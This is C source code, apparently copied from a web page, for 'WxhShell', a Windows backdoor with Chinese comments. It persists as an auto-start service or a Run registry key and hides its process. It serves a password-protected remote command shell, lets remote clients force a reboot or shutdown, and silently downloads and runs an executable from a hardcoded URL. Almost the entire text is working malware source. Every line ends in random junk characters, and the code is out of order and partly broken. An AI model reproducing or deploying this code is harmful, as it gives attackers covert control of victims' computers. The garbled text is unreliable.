    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l.@1]4.  
    if(Boot(SHUTDOWN)) t5{P'v9J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @v2<T1UC  
    else { s|p I`  
    closesocket(wsh); sZrVANyqb  
    ExitThread(0); gGM fy]]R  
    } 6+$2rS$1V  
    break; -;9 }P  
    } J+/}m}bx  
  // 获取shell *73gp  
  case 's': { c'2/C5  
    CmdShell(wsh); ujV{AF`JfB  
    closesocket(wsh); N,TV?Q5l7  
    ExitThread(0); R!dC20IMvH  
    break; ,4'gj0  
  } H*0Y_H=  
  // 退出 9rEBq&  
  case 'x': { 6U{A6hH]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2j+w5KvU  
    CloseIt(wsh); C@XS  
    break; }xsO^K  
    } vIpL8B86a  
  // 离开 VKttJok1  
  case 'q': { HAn{^8"@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -+"#G?g  
    closesocket(wsh); 6nTM~]5.  
    WSACleanup(); WJq>%<#  
    exit(1); x)C}  
    break; j*>J1M3E  
        } [1rQ'FBB^1  
  } =muQ7l:(  
  } {JfQQP&FV  
|<Ls;:5.  
  // 提示信息 p{Q6g>?[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yV.p=8:  
} ]c>@RXY'  
  } m[}P  
v_XN).f;  
  return; pX%:XpC!h  
} n%3!)/$  
| In{5E k  
// shell模块句柄 l\Ozy  
int CmdShell(SOCKET sock) _*~F1% d  
{ G!j9D  
STARTUPINFO si; r~,y3L6ic  
ZeroMemory(&si,sizeof(si)); /V,xSK9.&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _=$~l^Y[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,1ev2T  
PROCESS_INFORMATION ProcessInfo; .RpJZ[E  
char cmdline[]="cmd"; Xmr}$<<=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MT/jpx  
  return 0; {]>c3=~FQb  
} [S'1OR$FQ\  
Q:q0C  +T  
// 自身启动模式 *duG/?>P  
int StartFromService(void) dBI-y6R  
{ Y|R=^ =d\  
typedef struct LtRRX@qJw  
{ m%L!eR  
  DWORD ExitStatus; /MtmO$ .  
  DWORD PebBaseAddress; 3l=q@72  
  DWORD AffinityMask; Wx0i_HFR  
  DWORD BasePriority; Gj?Zbl <  
  ULONG UniqueProcessId; `%Fp'`ZM$8  
  ULONG InheritedFromUniqueProcessId; {($bz T7c  
}   PROCESS_BASIC_INFORMATION; {L;sF=d  
;VLDXvGd  
PROCNTQSIP NtQueryInformationProcess; v\@qMaPY  
5[;[Te9=S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e_b,{l#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ii+3yE@c  
$U[d#:]  
  HANDLE             hProcess; 1>e30Ri,g  
  PROCESS_BASIC_INFORMATION pbi; y11^q*}  
1]If< <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oEX,\@+u  
  if(NULL == hInst ) return 0; i~Tt\UA>  
xCZ_x$bk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P|Aac,nE+^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _&, A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3uYLA4[-B  
=G}a%)?As\  
  if (!NtQueryInformationProcess) return 0; [ bnu DS  
\~#\ [r_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z8=?Hu  
  if(!hProcess) return 0; b%lB&}uw}  
HwFg;r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]KuM's  
*z[vp2 TN  
  CloseHandle(hProcess); 9i\}^ s2  
Kyh6QA^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dSwfea_  
if(hProcess==NULL) return 0; _YX% M|#  
04U|Frc  
HMODULE hMod; }tt%J[  
char procName[255]; 1 fcV&qHR  
unsigned long cbNeeded; l-w4E"n3  
3}}/,pGSc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tEL;,1  
L<V20d9  
  CloseHandle(hProcess); b=Nsz$[  
!5dn7Wuj  
if(strstr(procName,"services")) return 1; // 以服务启动 oVw4M2!"K  
%ZoJu  
  return 0; // 注册表启动 n@`3O'S  
} '`upSJ;e  
`)a|Q  
// 主模块 4&NB xe  
int StartWxhshell(LPSTR lpCmdLine) TzC(YWt  
{ ,P <I<QYu  
  SOCKET wsl;  _ %mm  
BOOL val=TRUE; F,_cci`p  
  int port=0; ),{3LIr  
  struct sockaddr_in door; 2M+RA}dX  
/eHf8l  
  if(wscfg.ws_autoins) Install(); lSR\wz*Fk  
L~ax`i1:"  
port=atoi(lpCmdLine); XF: wsC  
EG\L]fmD  
if(port<=0) port=wscfg.ws_port; U>t:*SNC*  
rv[BL.qV  
  WSADATA data; VQ!4( <XD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9]3l'  
r5&c!b\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ScJ:F-@>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xd3mAf  
  door.sin_family = AF_INET; cPIyD?c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q+f |.0r  
  door.sin_port = htons(port); !}c D e12  
@16y%]Q-E#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IRM jL.q  
closesocket(wsl); %enJ[a%Qg  
return 1; ` .`:~_OE  
} ]}SV%*{ %  
R{}_Qb  
  if(listen(wsl,2) == INVALID_SOCKET) { !& c%!*  
closesocket(wsl); > X  AB#  
return 1; (NUXK  
} f]1 $`  
  Wxhshell(wsl); o,k#ft<  
  WSACleanup(); +PYR  
p3fV w]N  
return 0; >]}VD "\  
RCqL~7C+ k  
} 3Dc^lfn  
 ~@@t-QY  
// 以NT服务方式启动 F@/syX;bb5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TJ>YJ D  
{ kk126?V]_  
DWORD   status = 0; w32F?78]  
  DWORD   specificError = 0xfffffff; 0D:uM$ i]  
@uC-dXA"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3znhpHO)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M/V"Ke"N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F-Z>WC{+  
  serviceStatus.dwWin32ExitCode     = 0; Q9y|1Wg1W  
  serviceStatus.dwServiceSpecificExitCode = 0; @lB1t= D  
  serviceStatus.dwCheckPoint       = 0; Nt+UL/1]  
  serviceStatus.dwWaitHint       = 0; R7Tl 1!,h  
fo}@B &=4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JBQ>"X^  
  if (hServiceStatusHandle==0) return; .WOF:Nu4  
IwFf8? 3  
status = GetLastError(); M-Nn \h$,  
  if (status!=NO_ERROR) >VjtKSN  
{ f].z.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PmId #2f  
    serviceStatus.dwCheckPoint       = 0; a[^dK-  
    serviceStatus.dwWaitHint       = 0; F`Vp   
    serviceStatus.dwWin32ExitCode     = status; 0wBr_b!  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z[+Qf3j}o6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,[m4+6G5  
    return; 9LQy 0Gx  
  } X pXhg*}K  
j@JY-^~K5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -eSI"To L<  
  serviceStatus.dwCheckPoint       = 0; p*P0<01Z  
  serviceStatus.dwWaitHint       = 0; xT9+l1_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); suj}A  
} ,v| vgt  
a(o[ bH.|;  
// 处理NT服务事件,比如:启动、停止 Y!E| X 3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h^9Ne/s~  
{ 43J8PMY  
switch(fdwControl) BcGQpv&x  
{ I@a7!ugU65  
case SERVICE_CONTROL_STOP: N_!Zn"J  
  serviceStatus.dwWin32ExitCode = 0; G[yN*C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,KibP_<%&P  
  serviceStatus.dwCheckPoint   = 0; A%M&{S'+|X  
  serviceStatus.dwWaitHint     = 0; "ZVBn!  
  { tX *L_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vo2frWF$  
  } d>4e9M "  
  return; kqAQrg]n  
case SERVICE_CONTROL_PAUSE: NU/~E"^I.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -ap;Ul?  
  break; l:+pO{7L  
case SERVICE_CONTROL_CONTINUE: ?t.?f`(|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zr 2QeLQC(  
  break; 1J *wW# e  
case SERVICE_CONTROL_INTERROGATE: ;/{Q4X{  
  break; j'0*|f^z  
}; <F.Ol/'h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |V~P6o(/  
} ;1OTK6  
$l[*Y  
// 标准应用程序主函数 !%M-w0vC9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3x9C]  
{ M[*:=C)H  
#XY]@V\  
// 获取操作系统版本 cwC, VYVl  
OsIsNt=GetOsVer(); J2[QHr&tn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qP<,"9!I  
\M532_w  
  // 从命令行安装 }w]xC  
  if(strpbrk(lpCmdLine,"iI")) Install(); n _ez6{  
x?<5=,  
  // 下载执行文件 2RXGY  
if(wscfg.ws_downexe) { K((Kd&E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) quUJ%F  
  WinExec(wscfg.ws_filenam,SW_HIDE); z=Vvb  
} w./EJk KI  
c`}X2u]k  
if(!OsIsNt) { zXf+ieo  
// 如果时win9x,隐藏进程并且设置为注册表启动 =nL*/  
HideProc(); %Z5k8  
StartWxhshell(lpCmdLine); ?RzT0HRd  
} X9gC2iSs]  
else Z "=(u wM  
  if(StartFromService()) O}D8  
  // 以服务方式启动 CijS=-  
  StartServiceCtrlDispatcher(DispatchTable); n*6s]iG V  
else `U1%d7[vY  
  // 普通方式启动 S&uL9)Glb  
  StartWxhshell(lpCmdLine); I~qiF%?d  
4K;j:ZJ"x  
return 0; ry]7$MQyV  
} v#+w<gRq  
Y-c~"#  
)Z%+~n3o'  
ipp_?5TL  
=========================================== pz IMj_  
*(MvNN*  
@ :4Kk 4g1  
+e:ZN tr9  
O]g+z$2o  
MHYf8HN  
" Xbtv}g<0c  
-d3y!| \>a  
#include <stdio.h> XfrnM^oty  
#include <string.h> U44H/5/  
#include <windows.h> dJ^`9W  
#include <winsock2.h> V6{xX0'b*m  
#include <winsvc.h> w;$+7  
#include <urlmon.h> ZO 1J";>u  
/nP=E  
#pragma comment (lib, "Ws2_32.lib") K)@}Ok"#\4  
#pragma comment (lib, "urlmon.lib") Q8q_w2s,  
S%fBt?-Cm  
#define MAX_USER   100 // 最大客户端连接数 @#tSx  
#define BUF_SOCK   200 // sock buffer 8W>l(w9M  
#define KEY_BUFF   255 // 输入 buffer 5w1[KO#K|  
k>CtWV5B  
#define REBOOT     0   // 重启 ~m?~eJK#a  
#define SHUTDOWN   1   // 关机 -JENY|6  
2AW{qwk7  
#define DEF_PORT   5000 // 监听端口 ACYn87tq  
\pGO}{3 e*  
#define REG_LEN     16   // 注册表键长度 RWo B7{G  
#define SVC_LEN     80   // NT服务名长度 [ d7]&i}*|  
6{X>9hD  
// 从dll定义API 8w[EyVHA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |=T<WU1$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NF!1)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~(/HgFLLu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8Jj0-4]  
u(Sz$eV  
// wxhshell配置信息 j]"xck  
struct WSCFG { mm-UQ\h  
  int ws_port;         // 监听端口 <,4(3 >js  
  char ws_passstr[REG_LEN]; // 口令 !cwVJe  
  int ws_autoins;       // 安装标记, 1=yes 0=no a3O_#l-Z  
  char ws_regname[REG_LEN]; // 注册表键名 Wb )l8[=  
  char ws_svcname[REG_LEN]; // 服务名 i?dKmRp(@y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O f@#VZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jY+S,lD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8I0T u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oK:P@V6!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zN)\2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cCGXB|9fYR  
S!W/K!wf  
}; X\2hKUkT  
ko2j|*D6@~  
// default Wxhshell configuration ]=VS~azZ5  
struct WSCFG wscfg={DEF_PORT, +JS/Z5dl+}  
    "xuhuanlingzhe", 6n\z53Mk  
    1, A'QGTT  
    "Wxhshell", Wx)U<:^e  
    "Wxhshell", 3,L3C9V'  
            "WxhShell Service", u7P+^A97L_  
    "Wrsky Windows CmdShell Service", cN lY=L  
    "Please Input Your Password: ", M03i4R@h(  
  1, )NmlV99q  
  "http://www.wrsky.com/wxhshell.exe", Wo+CQH6(  
  "Wxhshell.exe" Ca@=s  
    }; QsJW"4d  
0&IXzEOr  
// 消息定义模块 6*aa[,>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u<=KC/vZe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 35 5Sd;*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D>b5Uwt  
char *msg_ws_ext="\n\rExit."; <-B"|u  
char *msg_ws_end="\n\rQuit."; ]Bd3d%  
char *msg_ws_boot="\n\rReboot..."; |EV\a[  
char *msg_ws_poff="\n\rShutdown..."; !FO^:V<|5  
char *msg_ws_down="\n\rSave to "; #lshN,CPm  
6mpg&'>  
char *msg_ws_err="\n\rErr!"; oXlxPN39  
char *msg_ws_ok="\n\rOK!"; _ c ]3nzIr  
0O,T=z[+>  
char ExeFile[MAX_PATH]; oA;Ty7s  
int nUser = 0; ;i9<y8Dha  
HANDLE handles[MAX_USER]; j-`X_8W  
int OsIsNt; t_>bTcsU  
BT#=Xh  
SERVICE_STATUS       serviceStatus; 3R%UPT0>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ;[KriW  
G9n /S=R?  
// 函数声明 }{wTlR.]  
int Install(void); ]8m_*I!  
int Uninstall(void); s |gD  
int DownloadFile(char *sURL, SOCKET wsh); ]a6O(]  
int Boot(int flag); IFrb}yH  
void HideProc(void); 2'<=H76  
int GetOsVer(void); $TA6S+  
int Wxhshell(SOCKET wsl); p37zz4  
void TalkWithClient(void *cs); MO~~=]Y'  
int CmdShell(SOCKET sock); Uc&6=5~Ys\  
int StartFromService(void); :qAc= IC%  
int StartWxhshell(LPSTR lpCmdLine); i,'Ka[6   
LGo2^Xx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2&gd"Ak(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S0N2rU  
Cv>yAt.3  
// 数据结构和表定义 $K?T=a;z  
SERVICE_TABLE_ENTRY DispatchTable[] = ^$=tcoQG  
{ 'n^2|"$sH  
{wscfg.ws_svcname, NTServiceMain}, QOT)x4!)  
{NULL, NULL} coF T2Pq  
}; _oJ2]f6KX  
dU ,)TKQ  
// 自我安装 7`b lGzP_  
int Install(void) 6wb^*dD92  
{ -yC:?  
  char svExeFile[MAX_PATH]; 8ji^d1G,  
  HKEY key; aFRTNu/r  
  strcpy(svExeFile,ExeFile); qnq%mwDeD  
`E} p77  
// 如果是win9x系统,修改注册表设为自启动 Pqy-gWOv  
if(!OsIsNt) { 01LZE,.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c q*p9c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `E3:;|  
  RegCloseKey(key); kqVg2#<@M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /[a|DUoHO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n}< ir!ZTO  
  RegCloseKey(key); 6P;o 6s  
  return 0; -6rf( ER  
    } xClRO,-  
  }  r=fE8[,  
} !uWxRpT,7  
else { cVQatm  
xi6 80'  
// 如果是NT以上系统,安装为系统服务 ^Sy^+=wK3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jrm0@K+<IA  
if (schSCManager!=0) H<`^w)?  
{ 2X|CuL{]  
  SC_HANDLE schService = CreateService m_Mwg  
  ( Z0e-W:&;kF  
  schSCManager, O6yP qG*j  
  wscfg.ws_svcname, $d'CBsu|<  
  wscfg.ws_svcdisp, {]&R8?%  
  SERVICE_ALL_ACCESS, EfKM*;A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [O=W>l  
  SERVICE_AUTO_START, "A%MVym."  
  SERVICE_ERROR_NORMAL, 9;=q=O/  
  svExeFile, U r^YG4(  
  NULL, C/F@ ]_y  
  NULL, L)q`D2|'  
  NULL, Uh|TDuM  
  NULL, ]{YN{  
  NULL ! L4dUMo  
  ); Dba+z-3Nzy  
  if (schService!=0) H}vn$$ O  
  { VR "u*  
  CloseServiceHandle(schService); hIR@^\?  
  CloseServiceHandle(schSCManager); qh%i5Mu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oG!6}5  
  strcat(svExeFile,wscfg.ws_svcname); "?$L'!bM@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A&N$tH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !q!"UMiG  
  RegCloseKey(key); ,# ]+HS^B  
  return 0; $zdd=.!KiK  
    } T`uDlo  
  } ytEQ`  
  CloseServiceHandle(schSCManager); Iq+2mQi*/k  
} >f>V5L%1  
} StEQ -k  
+<&E3Or  
return 1; c8T/4hU MN  
} Tru c[A.2Z  
Zw+=ng.q?  
// 自我卸载 8pqs?L@W  
int Uninstall(void) Gc wt7~  
{ {Jrf/p9w  
  HKEY key; d$}&nV/A)  
sTiYf  
if(!OsIsNt) { Q*gnAi&.#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D>P;Izb  
  RegDeleteValue(key,wscfg.ws_regname); 0}B?sNr  
  RegCloseKey(key);  Q.yb4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /w0sj`;"  
  RegDeleteValue(key,wscfg.ws_regname); a_Jb> }  
  RegCloseKey(key); nh<Z1tMU  
  return 0; GSP?X$E  
  } YNI;h%w  
} yx2z%E  
} YV-j/U{&  
else { 1DUb [W8  
q]K'p,'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "rsSW 3_  
if (schSCManager!=0) 6.[)`iF+#  
{ ?H`j>]%&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6F(hY !}5  
  if (schService!=0) wZQ)jo7*g  
  { ^_sQG  
  if(DeleteService(schService)!=0) { 0Q7MM6  
  CloseServiceHandle(schService); sdrWOq  
  CloseServiceHandle(schSCManager); e^zHw^js  
  return 0; opXDm\  
  } "e@n:N!  
  CloseServiceHandle(schService); 7{4w 2)  
  } YGETMIT(  
  CloseServiceHandle(schSCManager); H37Qg ApB  
} 9:Si] Pp+S  
} e9 *lixh  
E:)Cp  
return 1; LX\)8~dp  
} ;,k=<]  
pl|h>4af  
// 从指定url下载文件 L!,d"wuD  
int DownloadFile(char *sURL, SOCKET wsh) <6/= y1QC)  
{ E~qQai=]  
  HRESULT hr; a$}NW.  
char seps[]= "/"; ytiyF2Kp  
char *token; o,1Dqg4P3  
char *file; 3 <9{v  
char myURL[MAX_PATH]; ~g7m3  
char myFILE[MAX_PATH]; <[ZI.+_Wt  
J1X~vQAe  
strcpy(myURL,sURL); OM)3Y6rK  
  token=strtok(myURL,seps); V#L'7">VP  
  while(token!=NULL) zW5C1:.3K  
  { b1xpz1  
    file=token; &))\2pl  
  token=strtok(NULL,seps); 0elxA8Z~e  
  } wx*1*KZ  
<!F3s`7~  
GetCurrentDirectory(MAX_PATH,myFILE); JaI Kjn  
strcat(myFILE, "\\"); aBxiK[[`  
strcat(myFILE, file); V&%C\ns4  
  send(wsh,myFILE,strlen(myFILE),0); a.q;_5\5`  
send(wsh,"...",3,0); x#r<,uNn,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nR[^|CAR  
  if(hr==S_OK) rEM#D]k  
return 0; at| \FOKj  
else t"|DWC*  
return 1; -uj3'g (;w  
^s-25 6iI  
} JhP\u3 QE  
h&`y$Jj  
// 系统电源模块 _~&9*D$ {>  
int Boot(int flag) DZk1ZLz  
{ f@d9Hqr+l;  
  HANDLE hToken; mlB~V3M'G  
  TOKEN_PRIVILEGES tkp; moZm0` WR  
D"^'.DL@wG  
  if(OsIsNt) { e)b%`ntF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gi$XB}L+X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I]9 C_  
    tkp.PrivilegeCount = 1; \f%.n]>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8EI:(NE*J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "%@v++4y  
if(flag==REBOOT) { X{\jK]O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ),` 8eQC  
  return 0; v+6e;xl8  
} v@n_F  
else { #K|9^4jt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <cj{Qk  
  return 0; gCJIIzl%Bh  
} '!Wvqs  
  } }`_(<H  
  else { 2hq\n<  
if(flag==REBOOT) { cP rwW 6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vFhz!P~  
  return 0; e.8$ga{  
} 7u|B ](FS  
else { wk @,wOt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [_.n$p-  
  return 0; :kG)sw7  
} x-;`-Uo%  
} t)a;/scT  
HdNnUDb$B  
return 1; !0" nx{7.  
} N'?u1P4G  
d1G8*YO@  
// win9x进程隐藏模块 H M:r0_  
void HideProc(void) S|AjL Ng#  
{ O|'1B>X  
L l}yJ#3,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K 1W].(-@4  
  if ( hKernel != NULL ) !20X sO  
  { Bp_wnd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D*2\{W/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gu;OV LR|  
    FreeLibrary(hKernel); ;;#`#v  
  } uM S*(L_  
sn{tra  
return; Mu&x_&|  
} fk{0d  
m4m<nnM  
// 获取操作系统版本 DQ80B)<O  
int GetOsVer(void) N+g@8Q2s;5  
{ goZ V.,w  
  OSVERSIONINFO winfo; <Ef[c@3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h-QLV[^  
  GetVersionEx(&winfo); :Li/=>R^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {vVTv SC  
  return 1; : ]II-$/8  
  else Ed-M7#wY  
  return 0; tSHFm-q`  
} 0xMj=3']  
3)N\'xFh@  
// 客户端句柄模块 i$uN4tVKT  
int Wxhshell(SOCKET wsl) \#Up|u:  
{ DL8x":;  
  SOCKET wsh; @S3f:s0~D  
  struct sockaddr_in client; Yj3I5RG  
  DWORD myID; XKU=oI0\j  
<<zI\+V  
  while(nUser<MAX_USER) )^x K   
{ vhgLcrn  
  int nSize=sizeof(client); #b)e4vwCq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7~UR!T9  
  if(wsh==INVALID_SOCKET) return 1; 'i|rj W(  
eV};9VJ$F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .*5Z"Q['G  
if(handles[nUser]==0) >)**khuP7  
  closesocket(wsh); EL D!{bMT  
else JAjku6  
  nUser++; \ |!\V  
  } K$[$4 dX]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U[\Vj_?(I  
z5 m>H;P  
  return 0; wkb$^mU  
} A9:NKY{z  
{/8Q)2*>0  
// 关闭 socket {eT.SO  
void CloseIt(SOCKET wsh) I 3$dVls}  
{ TO#Pz.)>B6  
closesocket(wsh); .~D>5 JnEk  
nUser--; !8RwO%c(  
ExitThread(0); tWPO]3hW  
} {D`T0qPT[  
osP\D iQ  
// 客户端请求句柄 e %O0hE  
void TalkWithClient(void *cs) k$i'v:c|:i  
{ =o7}]k7  
4P8*k[.  
  SOCKET wsh=(SOCKET)cs; Jjm|9|C,  
  char pwd[SVC_LEN]; K[?Xm"4  
  char cmd[KEY_BUFF]; n1v5Q2xw  
char chr[1]; g@ith&*=h  
int i,j; [(mlv42"  
|U' I/A  
  while (nUser < MAX_USER) { 1KE:[YQ1  
H)(jh  
if(wscfg.ws_passstr) { Ey `h1 Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F"jt&9jg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gAbD7SE  
  //ZeroMemory(pwd,KEY_BUFF); A%bCMP  
      i=0; +9A\HQ|22  
  while(i<SVC_LEN) { obH; g*  
47>>4_Hz  
  // 设置超时 DXR:1w[^  
  fd_set FdRead; R9o-`Wz  
  struct timeval TimeOut; 4=<*Vd`p  
  FD_ZERO(&FdRead); [ .,>wo~  
  FD_SET(wsh,&FdRead); LlYTv% I  
  TimeOut.tv_sec=8; 2I'~2o  
  TimeOut.tv_usec=0; gzn^#3b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a2@c%i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K7)kS  
k;^ :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uE5X~  
  pwd=chr[0]; e":G*2a  
  if(chr[0]==0xd || chr[0]==0xa) { vGd1w%J-  
  pwd=0; &, a3@i  
  break; /n,a?Ft^N)  
  } 6" B%)0  
  i++; 5<YzalNf  
    } V9%aBkf8w  
?&+9WJ<M  
  // 如果是非法用户,关闭 socket :!TI K1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FY3IUG  
} qSU| =  
?h8{xa5b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8{ c!).  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [:EvTY  
] ZoPQUS?  
while(1) {  $)~   
ef"?|sn  
  ZeroMemory(cmd,KEY_BUFF); Dt}rR[yJ  
_=XX~^I,  
      // 自动支持客户端 telnet标准   6dqsFns}e  
  j=0; cntco@  
  while(j<KEY_BUFF) { 1R%1h9I4'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ro~+j}*   
  cmd[j]=chr[0]; .?W5{U  
  if(chr[0]==0xa || chr[0]==0xd) { @z`@f"l  
  cmd[j]=0; JK_OZ  
  break; ))h6~1`  
  } dFXc/VH')  
  j++; W7No ls{  
    } ki]ti={12  
k ]a*&me  
  // 下载文件 [\z/Lbn ,.  
  if(strstr(cmd,"http://")) { fPa9ofU/kr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?}QH=&=^  
  if(DownloadFile(cmd,wsh)) DvXHK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!6JKL~=  
  else NZLAk~R;0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BRRj$)u  
